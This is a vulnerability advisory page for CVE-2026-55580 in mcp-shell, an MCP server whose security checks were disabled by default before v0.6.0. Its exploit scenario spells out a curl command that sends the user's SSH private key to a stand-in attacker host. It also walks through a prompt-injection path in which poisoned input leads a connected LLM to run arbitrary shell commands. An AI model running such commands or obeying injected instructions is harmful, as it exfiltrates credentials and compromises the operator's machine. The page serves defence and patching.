Skip to main content

mcp-shell CVE-2026-55580

| EUVDEUVD-2026-65550 HIGH
OS Command Injection (CWE-78)
2026-08-25 GitHub_M GHSA-f5pj-2738-996m
8.6
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Operator installs mcp-shell following README without security config
  2. Delivery
    LLM client connects via stdio with Security.Enabled=false
  3. Exploit
    Attacker injects malicious instruction into LLM context via poisoned data
  4. Execution
    LLM issues shell_exec tool call with arbitrary command
  5. Persist
    mcp-shell executes command unrestricted as process user
  6. Impact
    Credentials exfiltrated or persistent access established

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires mcp-shell version prior to v0.6.0 running without MCP_SHELL_SEC_CONFIG_FILE set - the exact state produced by following either the from-source installation path or the MCP client configuration example in the README verbatim. The specific enabling condition is SecurityConfig.Enabled remaining false at startup, which causes validateCommand to return nil for every command without evaluation. Exploitation further requires an LLM client to be actively connected via stdio and for the attacker to control some portion of the LLM's input (e.g., via prompt injection in a processed document, tool response, or system prompt poisoning). No OS-level credentials are required of the attacker beyond being an instruction source for the connected LLM. Exploitation is blocked when MCP_SHELL_SEC_CONFIG_FILE points to a valid policy file with enabled: true, or in v0.6.0+ when MCP_SHELL_ALLOW_UNSAFE is not set. The process user's privilege level bounds the OS-level blast radius of any executed command.

Impact

The CVSS 4.0 score of 8.6 (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) correctly captures the local attack vector - exploitation requires a locally connected LLM client rather than a remote network attacker - which bounds the exposed population to operators actively running agentic AI pipelines. No EPSS data was supplied in the input, so statistical exploitation probability cannot be assessed. KEV listing is absent, meaning active exploitation has not been confirmed by CISA, though this does not preclude targeted exploitation. The practical risk is amplified significantly by the insecure-default design: every operator who follows the README installation path verbatim lands in the vulnerable state without any warning, because the documentation presented that state as normal operation. In agentic pipelines, prompt injection is the realistic initial access vector - a poisoned document or tool response fed to the connected LLM can trigger shell_exec without the operator or attacker requiring OS-level credentials. The CVSS local vector may therefore understate operational exposure for teams running multi-source data ingestion through LLM agents. The combination of insecure defaults, documentation that reinforces the insecure path, and a prompt-injection-ready attack surface warrants treating this as urgent even in the absence of confirmed KEV status.

Exploit ScenarioDerived

An operator installs mcp-shell from source following the README without setting MCP_SHELL_SEC_CONFIG_FILE, leaving security disabled. A document processed by the connected LLM contains an injected instruction directing it to call shell_exec with a data-exfiltration payload such as curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64). The LLM executes the tool call; mcp-shell passes the command directly to the OS shell with no filtering and returns output to the LLM, completing the exfiltration silently. The GHSA advisory itself provides a working example JSON payload demonstrating the attack; no separate POC repository has been independently identified.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Unrestricted OS command execution in mcp-shell prior to v0.6.0 allows any LLM connected via stdio to invoke the shell_exec tool with arbitrary command strings, running them as the mcp-shell process user with no filtering, allowlisting, or logging. The root cause is that config.go initializes SecurityConfig.Enabled to false and SecurityValidator.validateCommand unconditionally short-circuits when that flag is false, bypassing all CWE-78-class protections. Both the from-source installation path and the MCP client configuration example in the README omit MCP_SHELL_SEC_CONFIG_FILE, making every operator who follows the documented instructions unknowingly vulnerable. No CISA KEV listing or independent public exploit repository has been identified at time of analysis; a vendor-confirmed fix is available in v0.6.0.

RemediationAI

Upgrade to mcp-shell v0.6.0, which makes secure mode the operating default - the server now boots restricted to a narrow allowlist of read-only utilities (ls, cat, grep, find, head, tail, wc, sort, uniq, pwd, whoami, date, echo) with UseShellExecution disabled and a 30-second execution timeout. Unrestricted operation now requires affirmative opt-in via MCP_SHELL_ALLOW_UNSAFE=true. The patched release is available at https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0 and the remediation commit is f31377fce6ec31114e5a4398c0e5270552bce09f. For operators unable to upgrade immediately, the direct workaround is to create a YAML security policy with enabled: true and an explicit AllowedExecutables list, then set MCP_SHELL_SEC_CONFIG_FILE to that file's path before starting mcp-shell; this activates validation without requiring an upgrade. Do not include shell interpreters (bash, sh, python, perl, ruby) or git in the allowlist, as these accept arbitrary arguments and defeat the restriction entirely. If neither upgrade nor configuration workaround is feasible, mcp-shell should be removed from production LLM pipelines because no network-layer control exists for a stdio-transport process.

Affected VersionsENISA

mcp-shell < 0.6.0

Affected Packages

go github.com/sonirico/mcp-shell fix: 0.6.0
euvd mcp_shell fix: 0.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mcp-shell is a Go-based MCP (Model Context Protocol) server that exposes a shell_exec tool over stdio transport (CPE: cpe:2.3:a:sonirico:mcp-shell:*:*:*:*:*:*:*:*). The vulnerability class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), but the immediate trigger is a secure-by-default design failure rather than a parsing defect. config.go line 49 initializes SecurityConfig.Enabled to false; security.go lines 26-29 then short-circuit validateCommand entirely when that flag is false, logging a debug message and returning nil without evaluating the supplied command string. main.go reads MCP_SHELL_SEC_CONFIG_FILE at startup and, when the variable is unset (the documented default), leaves security disabled for the process lifetime. Because mcp-shell uses stdio transport rather than a network socket, the attack surface is the locally connected LLM client process - not an external network endpoint. The advisory also identifies a second failure mode in the Docker path: security.yaml examples that allowlist shell interpreters (bash, sh, python, git) defeat the allowlist mechanism entirely, since those interpreters accept arbitrary command arguments.

Know when Mcp Shell gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.6 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.3 CRITICAL

Stdio transport gives AV:L; LLM client needs no OS privileges (PR:N); arbitrary shell execution escapes the tool scope, giving S:C with full C/I/A impact.

3.1 AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 25, 2026 - 17:17 EUVD
CVE Published
Aug 25, 2026 - 15:42 cve.org
HIGH 8.6

DescriptionCVE.org

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, config.go initializes Security.Enabled to false, and when MCP_SHELL_SEC_CONFIG_FILE is unset, main.go starts the documented bare-binary deployment without a security policy. SecurityValidator.validateCommand in security.go then short-circuits and allows every command supplied to the shell_exec MCP tool, so an LLM connected over stdio can execute unrestricted OS commands as the mcp-shell process user. The README from-source installation and MCP client configuration omit MCP_SHELL_SEC_CONFIG_FILE, making the insecure state the documented default. This issue is fixed in version 0.6.0.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

mcp-shell prior to v0.6.0 contains an unrestricted OS command execution vulnerability (CVSS 8.6) that allows any LLM connected to the tool to execute arbitrary operating system commands. No public exploit identified at time of analysis; however, the vulnerability is enabled by default in documented installation paths, creating substantial risk if LLM integrations are compromised or if untrusted LLM instances are connected. Organizations deploying mcp-shell should prioritize upgrading to v0.6.0 immediately.

Business Impact: High
Compensating Controls

Apply vendor patch (v0.6.0 or later). Until patching is complete, disable mcp-shell if not actively required, restrict network access to mcp-shell instances to trusted networks only, and implement strict LLM account access controls and monitoring for any systems where mcp-shell must remain active.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
niche MCP server tool targeting AI/LLM pipeline operators
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy